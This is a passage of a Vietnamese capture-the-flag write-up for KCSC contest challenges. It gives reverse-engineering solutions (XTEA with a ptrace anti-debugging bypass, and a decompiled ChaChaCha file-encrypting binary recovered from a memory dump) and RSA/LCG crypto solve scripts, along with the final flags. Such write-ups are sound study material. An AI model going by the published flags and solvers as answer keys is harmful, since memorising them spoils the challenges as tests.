def sub_7FF765091000(a1):
for i in range(len(a1)):
v2 = a1[i]
v5 = 4
v6 = 6
for j in range(5):
v2 ^= _rol(v2, v5) ^ _ror(v2, v6)
v5 *= 2
v6 *= 2
return (v2)
enc=[
0x0F30C0330, 0x340DDE9D, 0x750D9AC9, 0x391FBC2A, 0x9F16AF5B, 0x0E6180661,
0x6C1AAC6B, 0x340DDE9D, 0x0B60D5635, 0x9F16AF5B, 0x0A3195364, 0x681BBD3A,
0x0F30C0330, 0x0A3195364, 0x0AB1B71C6, 0x0F30C0330, 0x0F21D5274, 0x9F16AF5B,
0x0E6180661, 0x300CCFCC, 0x0F21D5274, 0x9F16AF5B, 0x0AB1B71C6, 0x0A3195364,
0x750D9AC9, 0x0A3195364, 0x9F16AF5B, 0x0F21D5274, 0x0F30C0330, 0x0A3195364,
0x0F21D5274, 0x351C8FD9, 0x710C8B98, 0x0F70D1261, 0x2D1AE83F, 0x0F30C0330,
0x0EE1A24C3, 0x0F70D1261, 0x6108CEDC, 0x6108CEDC
]
flag=''
for e in enc:
for i in range(33,127):
a=sub_7FF765091000((flag+chr(i)).encode())
if a==e:
flag=flag+chr(i)
print(flag)
break
#345y_fl46_ch3ck3r_f0r_kc5c_r3cru17m3n7!!
Mình có tham khảo script chuyển ROR,ROL sang python tại: https://github.com/tandasat/scripts_for_RE/blob/master/rotate.py
Flag: KCSC{345y_fl46_ch3ck3r_f0r_kc5c_r3cru17m3n7!!}
Thông thường mình sẽ không quá để ý việc dịch ngược hay chuyển code sang python cho những bài flagchecker như này mà sẽ hay xài gdb để bruteforce nhanh flag.
Tuy nhiên lần này gdb không decompile được nên mình đã không thể xài lại trick cũ, đây cũng là bài học cho mình để thay đổi tư duy làm bài và nghiên cứu nghiêm túc hơn trong tương lai!
có thể tham khảo 1 số bài mình đã giải bằng gdb tại: https://hackmd.io/@robertowen/rkXtc16N1l
Reverse me

Pseudocode (khá dễ nhìn):
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int i; // [rsp+18h] [rbp-58h]
int j; // [rsp+1Ch] [rbp-54h]
char s[56]; // [rsp+30h] [rbp-40h] BYREF
unsigned __int64 v7; // [rsp+68h] [rbp-8h]
v7 = __readfsqword(0x28u);
memset(s, 0, 0x31uLL);
printf("FLAG: ");
__isoc99_scanf("%48s", s);
for ( i = 0; i <= 47; i += 8 )
sub_12D4(&s[i], &s[i + 4]);
for ( j = 0; ; ++j )
{
if ( j > 47 )
{
puts("Correct!");
return 0LL;
}
if ( s[j] != byte_4040[j] )
break;
}
puts("Incorrect!");
return 0LL;
}
Vì mình không cài IDA lên WSL nên mình sẽ debug remote như này


Do chương trình cũng đơn giản nên ta chỉ phân tích nhanh

- Chương trình nhận vào 48 bytes từ input và mã hóa thông qua hàm sub_5555555552D4, lưu trữ luôn vào s
- Kiểm tra với byte_555555558040, nếu đúng thì trả về Correct, sai thì Incorrect
Hàm mã hóa sub_5555555552D4:

Ta có thể nhận ra đây là mã hóa XTEA khá quen thuộc
Mình có tham khảo chương trình decrypt XTEA bằng python tại: https://github.com/niklasb/ctf-tools/blob/master/crypto/xtea.py
Script:
from Crypto.Util.number import*
dword_5555555580C0=[0x126575B, 0x51903231, 0x8AAB8F5E, 0x0CA51930F]
byte_555555558040=[473413356, 2967692918, 1094173039, 1162692205, 2047540795, 593189689, 3392237974, 2109325366, 3133376540, 144254372, 4264188329, 2498107430]
rounds = 32
mask = 0xffffffff
delta = 0x9E3779B9
def decrypt(v, key):
v=list(v)
sum=(delta*rounds)&mask
for _ in range(rounds):
v[1] -= (((v[0] << 4) ^ (v[0] >> 5)) + v[0]) ^ (sum + key[(sum>>11) & 3])
v[1] &= mask
sum = (sum-delta)&mask
v[0] -= (((v[1] << 4) ^ (v[1] >> 5)) + v[1]) ^ (sum + key[sum & 3])
v[0] &= mask
return v
if __name__ == "__main__":
n=b''
for j in range(0,len(byte_555555558040),2):
a=(decrypt(byte_555555558040[j:j+2], dword_5555555580C0))
for i in range(2):
n+=(long_to_bytes(a[i])[::-1])
print(n)
#b'\xec\xb0LNQ\xa7r\xdd}\x1d\x0c\x9c\x0f\x9e\x93\x8ez\xb6\x1d\xedC\xea{H\xa93\x9f\x1a\rj\xa9\xc9m\xb5\xbc\xf1%\xc6\xb6.\x80,II\x1e\xb3\x103'
Đến đây mình mới phát hiện ra điều gì đấy không đúng, ngồi fix lại chương trình decrypt khá lâu vì nghĩ chắc là sai ở đâu đấy, cuối cùng mình đã phải xem xét lại kỹ file binary

Trong functions mình thấy chương trình có gọi ptrace - là syscall chống debug trong Linux
Do đây không phải là file Windows excutable nên sẽ không có các WinAPI như IsDebuggerPresent() hay NtQueryInformationProcess() nên ta cần lưu ý khi làm bài
Ta trỏ đến địa chỉ gọi ptrace:

Nếu ta debug thì chương trình sẽ chuyển sang luồng fake, dẫn đến key decrypt XTEA bị sai
Xem pseudo code để có cái nhìn trực quan hơn:

Ta có thể nhận thấy khác nhau ở off_555555558080 và off_555555558090 giữa luồng fake và luồng real dẫn đến chương trình trả về 2 key khác nhau
Cần sửa ZF hoặc patch để chương trình đưa vào luồng đúng
Lúc này ta có thể lấy dword_5555555580C0 chuẩn ra và bỏ vào script solve:
from Crypto.Util.number import*
#dword_5555555580C0=[0x126575B, 0x51903231, 0x8AAB8F5E, 0x0CA51930F]
dword_5555555580C0=[
0x3AB27278,
0x0A840805B,
0x0E864925B,
0x0B7B1EEDE]
byte_555555558040=[473413356, 2967692918, 1094173039, 1162692205, 2047540795, 593189689, 3392237974, 2109325366, 3133376540, 144254372, 4264188329, 2498107430] #dword
rounds = 32
mask = 0xffffffff
delta = 0x9E3779B9
def decrypt(v, key):
v=list(v)
sum=(delta*rounds)&mask
for _ in range(rounds):
v[1] -= (((v[0] << 4) ^ (v[0] >> 5)) + v[0]) ^ (sum + key[(sum>>11) & 3])
v[1] &= mask
sum = (sum-delta)&mask
v[0] -= (((v[1] << 4) ^ (v[1] >> 5)) + v[1]) ^ (sum + key[sum & 3])
v[0] &= mask
return v
if __name__ == "__main__":
n=b''
for j in range(0,len(byte_555555558040),2):
a=(decrypt(byte_555555558040[j:j+2], dword_5555555580C0))
for i in range(2):
n+=(long_to_bytes(a[i])[::-1])
print(n)
#b'KCSC{XTEA_encryption_and_debugger_detection_:>>}'
Flag: KCSC{XTEA_encryption_and_debugger_detection_:>>}
ChaChaCha

Bài này mình tốn cả chiều để viết script decrypt tuy nhiên cuối cùng mình lại giải được mà không cần decrypt :(( làm mình khá đuối sức và buồn ngủ

Để cho ta 3 file, 1 file dump, 1 file txt và 1 file exe
Mở important_note.txt bằng hex editor và nhìn kích thước file thì ta có thể đoán rằng đây là 1 file đã bị mã hóa:

Mở file ChaChaCha.exe bằng IDA ta có pseudo code như sau:
int __cdecl main(int argc, const char **argv, const char **envp)
{
HMODULE LibraryA; // eax
BOOLEAN (__stdcall *SystemFunction036)(PVOID, ULONG); // eax
HMODULE v5; // eax
BOOLEAN (__stdcall *ProcAddress)(PVOID, ULONG); // eax
HANDLE FileW; // eax
void *v8; // ebx
signed int FileSize; // edi
_BYTE *v11; // ebx
int v12; // ecx
_BYTE *v13; // ecx
signed int v14; // esi
signed int v15; // ebx
_BYTE *v16; // eax
char v17; // al
char v18; // [esp+0h] [ebp-D8h]
HANDLE hFile; // [esp+Ch] [ebp-CCh]
signed int v20; // [esp+10h] [ebp-C8h]
char *v21; // [esp+14h] [ebp-C4h]
_BYTE *v22; // [esp+18h] [ebp-C0h]
char *v23; // [esp+1Ch] [ebp-BCh]
DWORD NumberOfBytesWritten; // [esp+20h] [ebp-B8h] BYREF
DWORD NumberOfBytesRead; // [esp+24h] [ebp-B4h] BYREF
char v26[48]; // [esp+28h] [ebp-B0h] BYREF
int v27; // [esp+58h] [ebp-80h]
char v28[64]; // [esp+68h] [ebp-70h] BYREF
char v29[32]; // [esp+A8h] [ebp-30h] BYREF
char v30[12]; // [esp+C8h] [ebp-10h] BYREF
LibraryA = LoadLibraryA("advapi32.dll");
SystemFunction036 = (BOOLEAN (__stdcall *)(PVOID, ULONG))GetProcAddress(LibraryA, "SystemFunction036");
SystemFunction036(v29, 32);
v5 = LoadLibraryA("advapi32.dll");
ProcAddress = (BOOLEAN (__stdcall *)(PVOID, ULONG))GetProcAddress(v5, "SystemFunction036");
ProcAddress(v30, 12);
FileW = CreateFileW(FileName, 0xC0000000, 0, 0, 3u, 0x80u, 0);
v8 = FileW;
hFile = FileW;
if ( FileW == (HANDLE)-1 )
{
sub_401590("Cannot Open File", v18);
CloseHandle((HANDLE)0xFFFFFFFF);
return 1;
}
else
{
FileSize = GetFileSize(FileW, 0);
v20 = FileSize;
v21 = (char *)malloc(FileSize);
if ( ReadFile(v8, v21, FileSize, &NumberOfBytesRead, 0) )
{
v11 = malloc(FileSize);
v22 = v11;
sub_4013D0(v12, v30);
v14 = 0;
if ( FileSize > 0 )
{
v23 = v28;
do
{
sub_401000(v26, v28, v13);
++v27;
v15 = v14 + 64;
if ( !__OFSUB__(v14, v14 + 64) )
{
v16 = v22;
do
{
if ( v14 >= FileSize )
break;
v13 = &v16[v14];
v17 = v23[v14] ^ v16[v14 + v21 - v22];
++v14;
FileSize = v20;
*v13 = v17;
v16 = v22;
}
while ( v14 < v15 );
}
v23 -= 64;
v14 = v15;
}
while ( v15 < FileSize );
v11 = v22;
}
SetFilePointer(hFile, 0, 0, 0);
if ( WriteFile(hFile, v11, FileSize, &NumberOfBytesWritten, 0) )
{
CloseHandle(hFile);
sub_401590("Some important file has been encrypted!!!\n", (char)FileName);
return 0;
}
else
{
sub_401590("Cannot Write File", v18);
CloseHandle(hFile);
return 1;
}
}
else
{
sub_401590("Cannot Read File", v18);
CloseHandle(v8);
return 1;
}
}
}
Phân tích:
Đầu tiên chương trình tạo 1 Buffer ngẫu nhiên 32 bytes và 1 Buffer 12 bytes:

Tiếp đến là các bước mở file, đọc file gì đấy tuy nhiên mình sẽ không đi phân tích phần này:

Tiếp đến gọi hàm sub_8913D0:

Bên trong có khá nhiều phép toán bitwise, có thể là thuật toán tạo khóa nào đấy:

Ta để ý:
qmemcpy(a2, "expand 32-byte k", 16);
Đây có thể là gọi sig của mã hóa salsa20 hoặc chacha20, tuy nhiên đề bài là ChaChaCha nên khả năng cao là chacha20
Ta có thể hiểu là tạo ma trận 4x4, hàng 1 là chuỗi “expand 32-byte k”, 2 hàng tiếp theo là 32 bytes key, 4 bytes đầu tiên của hàng cuối là counter = 1129530187 = 'KCSC' và 12 bytes cuối là nonce

Tìm hiểu thêm tại https://xilinx.github.io/Vitis_Libraries/security/2019.2/guide_L1/internals/chacha20.html
đặt breakpoint như sau và mở hexview, ta có thể thấy key và nonce đã được lưu trữ:

Tiếp theo:

Gọi hàm sub_891000 là mã hóa file bằng thuật toán chacha20
Sau đó là xor gì đấy mình không hiểu lắm, có lẽ đây là nguyên nhân khiến mình viết chương trình decrypt cả chiều không được (sau khi tham khảo các WU khác thì thấy mọi người sử dụng CyberChef để decrypt)
Tạm dừng ở đây, ta sẽ phân tích file dump:
Search strings "expand 32-byte k" trong IDA:

Click vào để tìm địa chỉ lưu nó:

Do file dump này trích được memory lúc file bị mã hóa thành important_note.txt nên đây sẽ là key và nonce để decrypt file
dump lấy bytes:
[0x65, 0x78, 0x70, 0x61, 0x6E, 0x64, 0x20, 0x33, 0x32, 0x2D, 0x62, 0x79, 0x74, 0x65, 0x20, 0x6B, 0xD9, 0xFA, 0xBB, 0x42, 0x0C, 0x2D, 0xB8, 0x08, 0xD1, 0xF8, 0xBF, 0xA5, 0x89, 0x0A, 0xC3, 0xB3, 0x84, 0x9F, 0x69, 0xE2, 0xF3, 0x30, 0xD4, 0xA9, 0x0D, 0xB1, 0x19, 0xBD, 0x4E, 0xA0, 0xB8, 0x30, 0x4B, 0x43, 0x53, 0x43, 0xDB, 0x7B, 0xE6, 0x93, 0xEE, 0x9B, 0xC1, 0xA4, 0x70, 0x73, 0xCA, 0x4B]
Do chacha20 có thể dùng chương trình mã hóa để giải mã(mã dòng), nên mình sẽ patch luôn bộ nhớ tại key hiện tại thành key lấy từ file dump để giải mã file important_note.txt
đặt breakpoint tại:

Ta chạy script sau để thay đổi thay đổi bộ nhớ (không thấy ai xài cách này nên tâm đắc vl 😈)
import idaapi
import idc
start_addr = 0x00AFFAA0#địa chỉ sẽ khác nhau mỗi lần debug, cần thay đổi khi thử chạy
end_addr = start_addr+63
new_data = [
0x65, 0x78, 0x70, 0x61, 0x6E, 0x64, 0x20, 0x33, 0x32, 0x2D, 0x62, 0x79,
0x74, 0x65, 0x20, 0x6B, 0xD9, 0xFA, 0xBB, 0x42, 0x0C, 0x2D, 0xB8, 0x08,
0xD1, 0xF8, 0xBF, 0xA5, 0x89, 0x0A, 0xC3, 0xB3, 0x84, 0x9F, 0x69, 0xE2,
0xF3, 0x30, 0xD4, 0xA9, 0x0D, 0xB1, 0x19, 0xBD, 0x4E, 0xA0, 0xB8, 0x30,
0x4B, 0x43, 0x53, 0x43, 0xDB, 0x7B, 0xE6, 0x93, 0xEE, 0x9B, 0xC1, 0xA4,
0x70, 0x73, 0xCA, 0x4B
]
for i in range(len(new_data)):
addr = start_addr + i
idc.patch_byte(addr, new_data[i])
print(f"Thay đổi bộ nhớ thành công từ {hex(start_addr)} đến {hex(end_addr)}")
Sau khi thay đổi bộ nhớ, tiếp tục chạy hết chương trình để mã hóa lại file
Mở lại file important_note.txt lúc nãy ra, ta thấy file đã được decrypt thành công

Nhìn header ta có thể thấy đây là một file Windows excutable
Chạy file exe, ta được:


WaiterFall

Mở IDA:

Nhìn có vẻ rất khủng bố :O
Tuy nhiên đây chỉ là 1 dạng bài sử dụng Z3 rất kinh điển
Solve Script: (byClaude)
from z3 import *
def solve_challenge():
s = Solver()
chars = [BitVec(f'char_{i}', 8) for i in range(62)]
v3 = 0
v5 = 0x1000008020020
v7 = 0x60010020000100
v8 = 0x100020080408000
v9 = 0x844000044000
for i, char in enumerate(chars):
s.add(char >= 32) # Space
s.add(char <= 126) # ~
conditions = []
conditions.append(If(char == ord('C'), If((i - 1) & 0xFFFFFFFD == 0, 1, 0), 0))
conditions.append(If(char == ord('K'), If(i == 0, 1, 0), 0))
conditions.append(If(char == ord('S'), If(i == 2, 1, 0), 0))
conditions.append(If(char == ord('c'), If(i == 37, 1, 0), 0))
conditions.append(If(char == ord('d'), If(i == 20, 1, 0), 0))
conditions.append(If(char == ord('g'), If(Or(i == 11, i == 60), 1, 0), 0))
conditions.append(If(char == ord('u'), If(i == 24, 1, 0), 0))
conditions.append(If(char == ord('{'), If(i == 4, 1, 0), 0))
conditions.append(If(char == ord('}'), If(i == 61, 1, 0), 0))
if i <= 0x31: # For '_'
if (0x2101004011000 >> i) & 1:
conditions.append(If(char == ord('_'), 1, 0))
if i <= 0x34: # For 'a'
if (0x10000210000040 >> i) & 1:
conditions.append(If(char == ord('a'), 1, 0))
if i <= 0x37: # For 'e'
if (0x80000040200000 >> i) & 1:
conditions.append(If(char == ord('e'), 1, 0))
if i <= 0x32: # For 'f'
if (0x4200100802000 >> i) & 1:
conditions.append(If(char == ord('f'), 1, 0))
if i <= 0x3A: # For 'i'
if (0x400000000000280 >> i) & 1:
conditions.append(If(char == ord('i'), 1, 0))
if i <= 0x33: # For 'l'
if (0x8480C02000000 >> i) & 1:
conditions.append(If(char == ord('l'), 1, 0))
if i <= 0x3B: # For 'n'
if (0xA00008000080400 >> i) & 1:
conditions.append(If(char == ord('n'), 1, 0))
if i <= 0x2F: # For 'o'
if (v9 >> i) & 1:
conditions.append(If(char == ord('o'), 1, 0))
if i <= 0x38: # For 'r'
if (v8 >> i) & 1:
conditions.append(If(char == ord('r'), 1, 0))
if i <= 0x36: # For 't'
if (v7 >> i) & 1:
conditions.append(If(char == ord('t'), 1, 0))
if i <= 0x30: # For 'w'
if (v5 >> i) & 1:
conditions.append(If(char == ord('w'), 1, 0))
v3 = v3 + Sum(conditions)
s.add(v3 == 62)
if s.check() == sat:
m = s.model()
result = ''
for i in range(62):
c = m[chars[i]].as_long()
result += chr(c)
return result
return None
result = solve_challenge()
if result:
print("Flag:", result)
else:
print("No solution found")
#Flag: KCSC{waiting_for_wonderful_waterfall_control_flow_flatterning}
Flag: KCSC{waiting_for_wonderful_waterfall_control_flow_flatterning}
V. Crypto
Crypto 1 (easy)

Source:
from Crypto.Util.number import * from math import gcd flag = b"KCSC{fake_flag}" p = getPrime(512) q = getPrime(512) n = p*q e = 0x10001 c = pow(bytes_to_long(flag), e, n) print(f"n = {n}") print(f"c = {c}") print(13 * q ** 2 + 5*p * q + 2 * p ** 5) print(7 * q ** 3 + p ** 3) """ n = 68288521803749096598885637638053621717196600162883393314204537792265324550130476000830582459892601191221713398147068471895218340440441520348186049243098557276069294337290348570168822004443403024217772173472817801983123070596861372926544266786307347422625999741472764054251261966242723803223755250857431959613 c = 51484360656675894405169578577777421818221080188874188339332704212766014455602299232733441854614491353614936672698767100621643701474052897096397257567627546370308824123953740553988694850896612092526733722171750215446879926157508653359056454370778767748861899945472045315573513667461778478951641271690253340703 99070322718633589075437462797565157261778565342202176866775343970398558639214129862647491552411934954337080928975984888590350647667063750589996693551004764949048370796506334502440334616612079528441181921243264137829513725003752633040825654275249100544290948338516838946174770287568358642193272862193796894044937197882972942736350187023160283258646203934697126833099845086570117310993425665455046278368788256843647321433937611726466080931200057154600456738627871172358125025243308598393199170155505096434440339433895197600955266878886512068835988415711337072167542113641557473147599428014808952558696371214362762804029219711275834667722478355607836912560341298862576500518929722837267759516608623300378294362866958920710706131156072317563285732965572961520111862487408104 4053829493753080394597319030520465552249075460276768487813206903952134102796024072650537404512981555893331018255239607908419904554570951529767887735220350920134963507895001907309725345634404748146887358629605419756823088475689769294303699918630919892363333011358649952996211367887394670736389996674537151867058156643368735877078538193576703224594833465330136899282032495128158051461158831558808541670885217172490157676355847572589184884710346372276161554121356404 """Flag của ta được mã hóa RSA nên nếu ta tìm được giá trị p và q của modulus n thì ta sẽ giải mã được Ciphertext rất dễ dàng.
Nhận thấy rằng giá trị của p và q được biểu diễn qua một hệ phương trình như sau:
$$\left\{\begin{matrix} 13 \times q ^ 2 + 5\times p \times q + 2 \times p ^ 5 = k_1\\ 7 \times q ^ 3 + p ^ 3 = k_2 \end{matrix}\right.$$
Mình thấy hệ phương trình này giải tay khá là cực nhưng nếu dùng các thư viện toán học thì sẽ rất nhanh nên để tiết kiệm thời gian, mình sẽ dùng thư viện Sympy để giải. Có được p,q thì bài toán kết thúc.
Script:
from sympy import var, Eq, solve e = 0x10001 n = 68288521803749096598885637638053621717196600162883393314204537792265324550130476000830582459892601191221713398147068471895218340440441520348186049243098557276069294337290348570168822004443403024217772173472817801983123070596861372926544266786307347422625999741472764054251261966242723803223755250857431959613 c = 51484360656675894405169578577777421818221080188874188339332704212766014455602299232733441854614491353614936672698767100621643701474052897096397257567627546370308824123953740553988694850896612092526733722171750215446879926157508653359056454370778767748861899945472045315573513667461778478951641271690253340703 k1 = 99070322718633589075437462797565157261778565342202176866775343970398558639214129862647491552411934954337080928975984888590350647667063750589996693551004764949048370796506334502440334616612079528441181921243264137829513725003752633040825654275249100544290948338516838946174770287568358642193272862193796894044937197882972942736350187023160283258646203934697126833099845086570117310993425665455046278368788256843647321433937611726466080931200057154600456738627871172358125025243308598393199170155505096434440339433895197600955266878886512068835988415711337072167542113641557473147599428014808952558696371214362762804029219711275834667722478355607836912560341298862576500518929722837267759516608623300378294362866958920710706131156072317563285732965572961520111862487408104 k2 = 4053829493753080394597319030520465552249075460276768487813206903952134102796024072650537404512981555893331018255239607908419904554570951529767887735220350920134963507895001907309725345634404748146887358629605419756823088475689769294303699918630919892363333011358649952996211367887394670736389996674537151867058156643368735877078538193576703224594833465330136899282032495128158051461158831558808541670885217172490157676355847572589184884710346372276161554121356404 p, q = var("p, q") eq1 = Eq(13 * q ** 2 + 5*p * q + 2 * p ** 5, k1) eq2 = Eq(7 * q ** 3 + p ** 3, k2) solutions = solve([eq1, eq2])[0] p = int(solutions[p]) q = int(solutions[q]) d = pow(e, -1, n-p-q+1) print(pow(c, d, n).to_bytes(50))
Flag: KCSC{solv1ng_equ4ti0ns_with_r3sult4nts_is_f4n}
VlCG (easy)

Source:
from Crypto.Util.number import * from hashlib import * from Crypto.Cipher import AES from Crypto.Util.Padding import * from secret import flag class LCG(): def __init__(self, seed, a, c, m): self.seed = seed self.a = a self.c = c self.m = m self.state = seed def next(self): self.seed = (self.a * self.seed ** 65537 + self.c) % m return self.seed >> 20 a = getPrime(50) c = getPrime(50) m = getPrime(100) seed = getRandomInteger(50) lcg = LCG(seed, a, c, m) key = sha256(long_to_bytes(seed)).digest() enc = AES.new(key, AES.MODE_ECB).encrypt(pad(flag, 16)) hint = [] print(f"{enc = }") print(f"{a = }") print(f"{c = }") print(f"{m = }") print(f"{lcg.next() = }") """ enc = b'\x17j\x1b\xb1(eWHD\x98\t\xfc\x04\x94(\x18\xeaxT\xa6B*\xa0E\xe92\xe36!3\xbc\x96[\xa5\x82eG\xc2\x00\x7fM\xf0\xcb@tN\xf8\x01' a = 758872855643059 c = 814446603569537 m = 984792769709730047935594905989 lcg.next() = 241670272469283782290680 """Phân tích source, ta thấy rằng key của AES được tính thông qua
key = sha256(long_to_bytes(seed)).digest(), tức nhiệm vụ của ta là phải tìm được seed.
Công thức của seed như sau:
$$\text{S} \equiv \text{a} \times \text{seed}^{65537} + \text{c} \pmod {\text{m}}$$
$$\Leftrightarrow \text{seed}^{65537} \equiv (\text{S} - \text{c}) \times \text{a}^{-1} \pmod {\text{m}}$$
Giờ ta phải triệt tiêu đi số mũ 65537 của seed thì sẽ có được seed. Tương tự như RSA, ta sẽ đi tính
\(\text{d} = 65537^{-1} \pmod{\phi(m)}\) với \(\phi(m) = m-1\) vì m là số nguyên tố.
Sau đó lấy \(((\text{S} - \text{c}) \times \text{a}^{-1})^{d} \mod m\) là có được seed.
Tuy nhiên để tăng độ khó thì Challenge tiếp tục bỏ đi 20 bit cuối (khoảng 1 triệu) của S. Vì vậy ta cần thêm một bước là brute force 20 bit cuối của S.
$$\text{S} = (\text{lcg.next()} << 20) + i \hspace{3mm} \{1 < i < 2^{20}\}$$
Script:
from Crypto.Util.number import * from hashlib import * from Crypto.Cipher import AES from Crypto.Util.Padding import * from tqdm import trange enc = b'\x17j\x1b\xb1(eWHD\x98\t\xfc\x04\x94(\x18\xeaxT\xa6B*\xa0E\xe92\xe36!3\xbc\x96[\xa5\x82eG\xc2\x00\x7fM\xf0\xcb@tN\xf8\x01' a = 758872855643059 c = 814446603569537 m = 984792769709730047935594905989 next_seed = 241670272469283782290680 e = pow(65537, -1, m-1) for i in trange(1, 2**20): S = (next_seed << 20) + i # nhớ thêm dấu ngoặc, thiếu là ăn đủ seed = (pow((S - c) * pow(a, -1, m), e, m)) % m key = sha256(long_to_bytes(seed)).digest() flag = AES.new(key, AES.MODE_ECB).decrypt(enc) if b"KCSC{" in flag: print(flag) break
Seed = 504545958124800
Flag: KCSC{linear_congruential_generator(LCG)}
Zoltraak (easy)

Source:
from Crypto.Util.number import * FLAG = b'KCSC{???????????????????????????????????????}' m = bytes_to_long(FLAG) p = getPrime(512) q = getPrime(512) n = p * p * q e = 0x10001 d = inverse(e, p * (p-1) * (q-1)) assert m < n c = pow(m, e, n) hint = pow(d, e, n) print(f'c = {c}') print(f'hint = {hint}') print(f'n = {n}') """ c = 216895836421936226664808806038131495725544658675106485670550453429609078893908601117272164909327632048129546753076380379045793859323244310633521321055388974634549104918284811813205866773238823220320222756056839297144222443834324484452750837978501262424186119512949111339142374067658940576220209924539508684423305539352188419127746551691195133913843198343764965016833190033138825402951884225991852311634388045499747652928427089105006744062452013466170009819761589 hint = 119347490709709918515362500613767389632792382149593771026067086829182731765211255478693659388705133600879844115195595226603111752985962235917359759090718061734175658693105117154525703606445141788266279862259884063386378441258483507592794727728695131221071650602175884547070684687593047276747070248401583807925835550653444240529379502255688396376354105756898403267623695663194584556369065618489842778593026855625193720218739585629291162493093893452796713107895772 n = 947166029378215681573685007119017666168984033297752775080286377779867377305545634376587741948207865073328277940177160532951778642727687102119230712410226086882346969888194915073996590482747649286982920772432363906920327921033567974712097884396540431297147440251083706325071265030933645087536778803607268099965990824052754448809778996696907531977479093847266964842017321766588821529580218132015882438704409614373340861025360688571007185362228026637160817305181421 """Challenge cho ta các công thức sau:
$$\begin{gather} \text{d} \equiv e^{-1} \pmod {\phi(n)} \hspace{5mm} (1) \newline \text{hint} \equiv \text{d}^e \pmod n \hspace{5mm} (2) \newline \phi(n) = p \times (p-1) \times (q-1) \newline n = p^2 \times q \newline \end{gather}$$
- Từ (1) ta mũ hai vế cho e được:
$$\text{d}^e \equiv e^{-e} \pmod {\phi(n)}$$
- Vì p|ϕ(n) nên ta có thể viết phương trình trên thành:
$$\text{d}^e \equiv e^{-e} \pmod {p} \hspace{5mm} (*)$$
- Với phương trình (2), ta nhân hai vế cho eemodn được:
$$\text{hint} \times (e^e \mod n) \equiv \text{d}^e \times (e^e \mod n) \pmod n$$
- Vì p|n nên ta có thể viết lại phương trình trên như sau:
$$\text{hint} \times (e^e \mod n) \equiv \text{d}^e \times (e^e \mod p) \pmod p \hspace{5mm} (**)$$
- Thay (*) vào (**) được:
$$\begin{gather} \text{hint} \times (e^e \mod n) \equiv (e^{-e} \mod p) \times (e^e \mod p) \pmod p \newline \Leftrightarrow \text{hint} \times (e^e \mod n) \equiv (e^{-e} \times e^e \mod p) \pmod p \newline \Leftrightarrow \text{hint} \times (e^e \mod n) \equiv 1 \pmod p \end{gather}$$
\(\Rightarrow \text{hint} \times (e^e \mod n) - 1 = k \times p\)
Giờ ta chỉ cần tính GCD của \(\text{hint} \times (e^e \mod n) - 1\) và n là có p, bài toán kết thúc.
Script:
from Crypto.Util.number import * e = 0x10001 c = 216895836421936226664808806038131495725544658675106485670550453429609078893908601117272164909327632048129546753076380379045793859323244310633521321055388974634549104918284811813205866773238823220320222756056839297144222443834324484452750837978501262424186119512949111339142374067658940576220209924539508684423305539352188419127746551691195133913843198343764965016833190033138825402951884225991852311634388045499747652928427089105006744062452013466170009819761589 hint = 119347490709709918515362500613767389632792382149593771026067086829182731765211255478693659388705133600879844115195595226603111752985962235917359759090718061734175658693105117154525703606445141788266279862259884063386378441258483507592794727728695131221071650602175884547070684687593047276747070248401583807925835550653444240529379502255688396376354105756898403267623695663194584556369065618489842778593026855625193720218739585629291162493093893452796713107895772 n = 947166029378215681573685007119017666168984033297752775080286377779867377305545634376587741948207865073328277940177160532951778642727687102119230712410226086882346969888194915073996590482747649286982920772432363906920327921033567974712097884396540431297147440251083706325071265030933645087536778803607268099965990824052754448809778996696907531977479093847266964842017321766588821529580218132015882438704409614373340861025360688571007185362228026637160817305181421 p = GCD(hint * pow(e, e, n) - 1, n) q = n // (p**2) phi = p * (p-1) * (q-1) d = pow(e, -1, phi) print(long_to_bytes(pow(c, d, n)))
Flag: KCSC{0ne_p_1s_Enough_:vvvvv}
Ngoài cách giải trên ra thì còn một cách khác đơn giản hơn đó là sử dụng Nhị thức Newton
n = p*p*q
phi = p*(p-1)*(q-1)
h = d^e mod n
e^e*h = (e*d)^e mod n
e^e*h = (e*d)^e mod p
e^e*h = (1 + p*(p-1)*(q-1))^e mod p
khai triển nhị thức newton của (1 + p*(p-1)*(q-1))^e mod p ta được 1
vậy ta được phương trình mới là:
e^e*h = 1 mod p
=> e^e*h - 1 = k*p
=> gcd(e^e*h - 1, n) == p
AESOS (easy/medium)

-
from Crypto.Util.number import * from Crypto.Util.Padding import * from aes import * import os from pwn import xor from secret import flag cipher = AES(os.urandom(16)) def encrypt(msg: bytes) -> bytes: iv = os.urandom(16) return iv + cipher.encrypt(msg, iv) def decrypt(c: bytes) -> bytes: return cipher.decrypt(c[16:], c[:16]) while True: print("1. Encrypt") print("2. Decrypt") print("3. Flag") otp = int(input(">> ")) if otp == 1: msg = bytes.fromhex(input("Enter your message: ")) print(encrypt(msg).hex()) elif otp == 2: msg = bytes.fromhex(input("Enter the ciphertext: ")) print(decrypt(msg).hex()) elif otp == 3: print(encrypt(flag).hex()) else: exit()
#!/usr/bin/env python3
"""
This is an exercise in secure symmetric-key encryption, implemented in pure
Python (no external libraries needed).
Original AES-128 implementation by Bo Zhu (http://about.bozhu.me) at
https://github.com/bozhu/AES-Python . PKCS#7 padding, CBC mode, PKBDF2, HMAC,
byte array and string support added by me at https://github.com/boppreh/aes.
Other block modes contributed by @righthandabacus.
Although this is an exercise, the `encrypt` and `decrypt` functions should
provide reasonable security to encrypted messages.
"""
s_box = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
